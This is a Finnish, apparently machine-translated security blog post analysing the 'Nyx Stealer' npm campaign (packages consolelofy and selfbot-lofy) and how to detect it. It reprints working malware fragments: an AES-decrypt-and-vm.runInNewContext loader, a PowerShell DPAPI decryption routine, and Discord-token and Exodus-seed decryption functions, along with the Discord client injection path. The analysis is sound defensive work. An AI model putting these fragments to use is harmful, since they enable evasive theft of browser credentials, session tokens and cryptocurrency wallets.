TL; DR
Xygenin tietoturvatutkimusryhmä tunnisti hienostuneen npm-tietojen varastuskampanjan, joka toteutettiin kahden haitallisen paketin kautta: konsolilofy ja selfbot-lofy.
Viimeisin versio (consolelofy@1.3.0) upottaa 216 kt:n AES-salatun hyötykuorman, joka purkaa salauksen suorituksen aikana ja suoritetaan vm.runInNewContext()Koska haitallinen logiikka on täysin salattu, merkkijonojen tarkistukseen perustuvat staattiset skannerit eivät voi havaita sen toimintaa ennen suoritusaikaa.
Kun hyötykuorma on salattu, se on sisäisesti brändätty Nyx-varas, kohteet:
- Discord-todennustunnukset
- Yli 50 selaimen tunnistetietosäilöä
- Yli 90 kryptovaluuttalompakkolaajennusta
- Roblox-, Instagram-, Spotify-, Steam-, Telegram- ja TikTok-sessiot
- Discord-työpöytäsovelluksen pysyvyys
Kaikki 20 versiota molemmissa paketeissa raportoitiin ja vahvistettiin haitallisiksi.
Tämän npm Infostealerin tekninen yleiskatsaus
Toisin kuin perinteiset asennusaikaiset haittaohjelmat, tämä kampanja perustuu a runtime salauksen malli.
On:
- Ei haitallisia
preinstallorpostinstallhooks - Ei ilmeisiä asennuksenaikaisia verkkokutsuja
- Ei selkotekstisen tunnistetietojen keruun logiikkaa
Hyötykuorma aktivoituu, kun moduuli tuodaan. Koko haitallinen sisältö salataan ja materialisoituu muistiin vasta suorituksen aikana.
Tämä rakenne erityisesti estää havaitsemisen paketin asennuksen aikana.
Kuinka tämä npm-tietovaras todellisuudessa toimii
Ennen kuin analysoimme, mitä Nyx Stealer varastaa, meidän on ymmärrettävä miten se toimii.
Tämän npm-tietovarastajien haitallinen logiikka noudattaa johdonmukaista kaavaa:
Pieni lataaja purkaa suuren salatun hyötykuorman salauksen ja suorittaa sen dynaamisesti Node.js-virtuaalikonekontekstissa.
Tämä suunnittelu on tarkoituksellinen. Hyökkääjä ei piilota toiminnallisuutta pelkästään hämärtämisen taakse, vaan haitallisen koodin poistaminen kokonaan staattisesta näkyvyydestä.
Korkean tason toteutusmalli
Korkealla tasolla kääre tekee neljä asiaa:
- Johtaa AES-avaimen kovakoodatusta salasanasta SHA-256-algoritmia käyttäen
- Purkaa suuren heksakoodatun salaustekstin käyttämällä AES-256-CBC-salausta
- Suorittaa salauksen puretun JavaScriptin käyttämällä
vm.runInNewContext() - Tarjoaa hiekkalaatikon, joka edelleen paljastaa tehokkaita ajonaikaisia primitiivejä
Ydintekniikan yhteenveto
| komponentti | Konfiguraatio / Arvo |
|---|---|
| algoritmi | AES-256-CBC |
| Avaimen johtaminen | SHA-256 (salasana) |
| Alustusvektori (IV) | 16 tavua 0x00 |
| Teloitus | vm.runInNewContext(decrypted, sandbox) |
Kriittisesti hiekkalaatikko kulkee seuraavien läpi:
requireprocessBuffer- ajastimet
- moduuliviennit
Tämä tarkoittaa, että salauksesta purettu hyötykuorma säilyttää täydet kykynsä:
- Kutemisprosessit
- Tiedostojen lukeminen ja kirjoittaminen
- Soita verkkopuheluita
- Muokkaa paikallisia sovelluksia
Tämä ei ole rajoitettu virtuaalikone. Se on virtuaalikone, jota käytetään suoritustrampoliinina.
Suorituksenaikainen salausmalli (ydinsuoritusmekanismi)
Lastaaja on pieni.
Pahansuopa keho ei ole.
Alla on paketin sisältä löytyvä suoritusmalli:
const crypto = require('crypto'); const vm = require('vm'); function decryptAndExecute(encryptedHex, passphrase) { const key = crypto.createHash('sha256') .update(passphrase) .digest(); const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encryptedHex, 'hex', 'utf8'); decrypted += decipher.final('utf8'); const sandbox = { require, module, exports, console, process, Buffer, __dirname, __filename, setTimeout, setInterval, clearTimeout, clearInterval }; vm.runInNewContext(decrypted, sandbox); } Miksi tämä Matters
Salauksen purettu hyötykuorma:
- Onko emme ovat selkokielisenä muodossa npm-paketin sisällä
- On näkymätön yksinkertaiselle
greptai staattisen merkkijonon skannaus - Materialoituu muistiin vain ajonaikana
- Suorittaa kaikki Node-suorituksenaikaiset ominaisuudet
Tämä AES + VM -suoritusyhdistelmä on vahva käyttäytymisindikaattori npm-tietojen varastaja yrittää välttää staattista tarkastusta.
Toisin sanoen:
Jos skannaat paketin lähdekoodipuun, et näe varastajaa.
Näet salauksen purkajan.
Mitä tapahtuu salauksen purkamisen jälkeen
Toteutettuaan Nyx Stealer käynnistää rinnakkaiset tiedonkeruuaallot.
1. vaihe: Selaintunnistetietojen poiminta
Haittaohjelma:
- Lataa Python-ajonaikaisen ympäristön NuGet CDN:stä
- Asentaa kryptografisia kirjastoja
- Poimii Chromium-pohjaiset tunnistetietovarastot
- Purkaa DPAPI-suojattujen salaisuuksien salauksen
Natiivien sidosten kääntämisen sijaan se hyödyntää PowerShelliä kutsuakseen suoraan Windows DPAPI:ta.
function dpapiUnprotectWithPowerShell(dataBuf) { const b64 = dataBuf.toString('base64'); const ps = "Add-Type -AssemblyName System.Security;" + "$b=[Convert]::FromBase64String('" + b64 + "');" + "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" + "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" + "[Console]::Out.Write([Convert]::ToBase64String($p))"; const cmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`; return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); } Tämä lähestymistapa:
- Välttää käännöksen aiheuttamat artefaktit
- Käyttää natiiveja Windowsin krypto-API-rajapintoja
- Sulautuu osaksi hallintotyökaluja
Se on käyttöjärjestelmätason tunnistetietojen salauksen purkamista, ei kaapimista.
Aalto 2: Discord Tokenin salauksen purku
Varastaja on protokollatietoinen. Se ymmärtää Discordin salatun token-formaatin.
function decryptToken(encryptedToken, key) { const tokenParts = encryptedToken.split('dQw4w9WgXcQ:'); const encryptedData = Buffer.from(tokenParts[1], 'base64'); const iv = encryptedData.slice(3, 15); const ciphertext = encryptedData.slice(15, -16); const tag = encryptedData.slice(-16); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return decipher.update(ciphertext).toString('utf8'); } Toiminnan kulku:
- Pura pääavain Discordista
Local State - Pura pääavain DPAPI:n kautta
- Pura AES-GCM-token-blobien salaus
- Vahvista tokenit Discord API:a vastaan
- Rikasta Nitrolla, merkeillä ja laskutustiedoilla
Tämä ei ole yleistä tunnistetietojen kaappausta. Kyseessä on protokollatietoinen istunnon kaappaus.
Aalto 3: Kryptovaluuttalompakoiden kohdentaminen
Npm-tietovarastojen laskentataulukko luettelee:
- Yli 90 selainlompakkolaajennusta
- 27 työpöytälompakkoa
- Kylmät lompakkopolut
- Exodus-siementiedostot
Esimerkki siementen salauksen purkuyrityksestä:
function decryptSeco(content, password) { const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512'); const decipher = crypto.createDecipheriv( 'aes-256-gcm', key, content.slice(0, 12) ); decipher.setAuthTag(content.slice(-16)); return Buffer.concat([ decipher.update(content.slice(12, -16)), decipher.final() ]).toString('utf8'); } Jos se onnistuu, lompakon vaarantuminen on välitöntä ja peruuttamatonta.
Tämä edustaa kampanjan arvokkainta ansaintavektoria.
Pysyvyys Discord Desktop Injectionin kautta
Kerättyään tunnistetiedot Nyx Stealer yrittää pysyvyyttä muokkaamalla paikallisia Epäsopu asiakas.
Kohde:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js Toimintajärjestys
Tietojen varastaja suorittaa seuraavat vaiheet:
- Lopettaa käynnissä olevat Discord-prosessit
- Paikantaa asennetut Discord-muunnelmat (Stable, Canary, PTB)
- Ylikirjoittaa
discord_desktop_core/index.js - Lisää hyökkääjän ohjaamaa webhook-logiikkaa
- Käynnistää Discordin uudelleen
Tämä varmistaa, että tulevat Discord-istunnot vuotavat automaattisesti uusia todennustunnuksia.
Tärkeää on, että tämä pysyvyys ei ole riippuvainen ajoitetuista tehtävistä tai rekisterin muutoksista. Se hyödyntää sovellustason koodinmuokkausta, joka on huomaamattomampi lähestymistapa.
Vaikka haitallinen npm-paketti myöhemmin poistettaisiin, Discord-asiakasohjelma pysyy vaarantuneena.
Tekninen vertailu: Laillinen Selfbot vs. npm Infostealer
| komponentti | Laillinen kirjasto | Nyx npm Infostealer |
|---|---|---|
| Salaus | Ei eristetty | Täysi AES-salattu hyötykuorma |
| Suorituksenaikainen virtuaalikone | Ei tarvita | vm.runInNewContext teloitus |
| Kirjautumistietojen käyttö | Vain Discord-sovellusliittymä | Selain, lompakot, DPAPI |
| Ulkoiset lataukset | Ei | Pythonin ajonaikainen käyttö NuGetin kautta |
| Sitkeys | Ei | Discord-asiakasohjelman injektio |
| kaupallistaminen | Bottiautomaatio | Valtakirjojen jälleenmyynti |
Pelkästään salauskerros erottaa tämän kampanjan tyypillisestä avoimen lähdekoodin haarautumisesta.
Laillisella Discord-itseohjatulla botilla ei ole syytä salata koko koodikantaansa, luoda PowerShelliä DPAPI:n käyttämiseksi, ladata ulkoisia suoritusympäristöjä tai muokata työpöytäsovelluksen sisäisiä toimintoja. Kun nämä ominaisuudet ilmestyvät riippuvuuden sisään, joka väittää automatisoivansa Discord-vuorovaikutuksia, arkkitehtuurin epäsuhtaa on mahdotonta sivuuttaa.
Tutkinnan näkökulmasta tämä npm-tietovaras jättää jälkiä useille tasoille. Luotettavimmat indikaattorit eivät kuitenkaan ole kovakoodattuja URL-osoitteita tai tiettyjä tiedostopolkuja, koska ne voivat muuttua versioiden välillä. Sen sijaan pysyvät signaalit ovat rakenteellisia.
Pakettitasolla voimakkain varoitusmerkki on suuren salatun hyötykuorman ja välittömästi suoritettavan ajonaikaisen salauksenpurkupaketin yhdistelmä vm.runInNewContext()Vaikka pelkkä salaus ei ole luonnostaan haitallista, AES-salauksen purkaminen ja sitä seuraava dynaaminen virtuaalikoneen suorittaminen Discord-apuohjelmapaketin sisällä on erittäin poikkeavaa.
Isäntätasolla epäilyttäviin kaavoihin kuuluvat odottamaton DPAPI-salauksen purkutoiminta, prosessien käynnistyminen Node.js-riippuvuuskontekstista ja paikallisten sovellustiedostojen muokkaaminen, joita kolmannen osapuolen kirjastojen ei pitäisi koskaan muuttaa. Samoin verkkotasolla kehitysriippuvuuden aloittama lähtevä webhook-tyyppinen viestintä edustaa toista merkittävää poikkeavuutta.
Toisin sanoen, havaittava pinta ei ole yksittäinen vaarantumisen mittari. Uhkan paljastaa salauksen, suorituksenaikaisen suorittamisen, tunnistetietojen käytön ja pysyvyyskäyttäytymisen välinen korrelaatio.
Havaitseminen ja lieventäminen Xygenin avulla
Tämä npm-tietovaras tunnistettiin Xygenin haittaohjelmien ennakkovaroitus (MEW) kerroksellisen käyttäytymiskorrelaation kautta yksinkertaisen allekirjoitusten yhteensovittamisen sijaan.
Tunnettujen haitallisten merkkijonojen etsimisen sijaan MEW arvioi rakenteellisia poikkeavuuksia koko lähdekoodipuusta. Tässä tapauksessa havaitseminen perustui useiden signaalien yhtymäkohtaan: moduulin aloituskohtaan upotettu AES-salauksen purkurutiini, välitön suoritus virtuaalikonekontekstissa ja selkeä kyvyn ja tarkoituksen välinen epäsuhta.
Tärkeää on, että mikään näistä signaaleista yksinään ei todista pahantahtoisia aikomuksia. Yhdessä analysoituna ne kuitenkin paljastavat yrityksen peitellä ajonaikaista toimintaa. Tämä monikerroksinen lähestymistapa vähentää merkittävästi vääriä positiivisia tuloksia ja tunnistaa samalla korkean luotettavuuden toimitusketjuuhkia.
Lisäksi tämä tapaus havainnollistaa, miksi pelkkä asennuksen aikainen tarkastus ei riitä. Haitallinen logiikka ei sijaitse elinkaariskripteissä. Se aktivoituu vasta moduulin latautumisen jälkeen ja tulee näkyviin vasta, kun se on purettu muistissa. Siksi tehokas puolustus edellyttää salaustietoista analyysia, käyttäytymismallien tunnistusta ja jatkuvaa riippuvuuksien seurantaa asennustapahtumien ulkopuolella.
Rekisterin poisto on reaktiivista. Suorituksenaikainen analyysi on ennakoivaa.
Miksi tämä npm-tietovaras on tärkeä
Nyx Stealer edustaa rakenteellista evoluutiota npm-pohjaisissa haittaohjelmissa.
Historiallisesti monet haitalliset paketit ovat perustuneet näkyviin asennusaikaisiin komentosarjoihin tai ilmeisiin tunnistetietojen vuotamisen päätepisteisiin. Tämä kampanja sitä vastoin salaa hyötykuormansa, siirtää suorituksen ajonaikaiseen vaiheeseen, hyödyntää laillisia käyttöjärjestelmän API-rajapintoja ja luo pysyvyyden luotettavien sovellusten sisällä.
Näin ollen hyökkääjän ei tarvitse hyödyntää itse npm-infrastruktuuria. Sen sijaan hyökkäys onnistuu, koska riippuvuuksien asennus edellyttää luottamusta. Kehittäjät olettavat, että kirjaston tuominen on turvallinen operaatio, varsinkin kun se esiintyy uskottavana haarautumana suositusta työkalusta.
Ekosysteemien kasvaessa ja haarukoiden lisääntyessä tästä implisiittisestä luottamusrajasta tulee yhä houkuttelevampi hyökkäyspinta. Siksi nykyaikaisia npm-tietovarastoja vastaan puolustautuminen edellyttää arkkitehtuurimallien tunnistamista staattisten merkkijonojen etsimisen sijaan.
Viime kädessä tämä kampanja vahvistaa tärkeää oppituntia software supply chain securityVaarallisimpia uhkia eivät ole ne, jotka ensi silmäyksellä näyttävät haitallisilta, vaan ne, jotka vaikuttavat rakenteellisesti laillisilta, kunnes ajonaika paljastaa niiden todellisen käyttäytymisen.




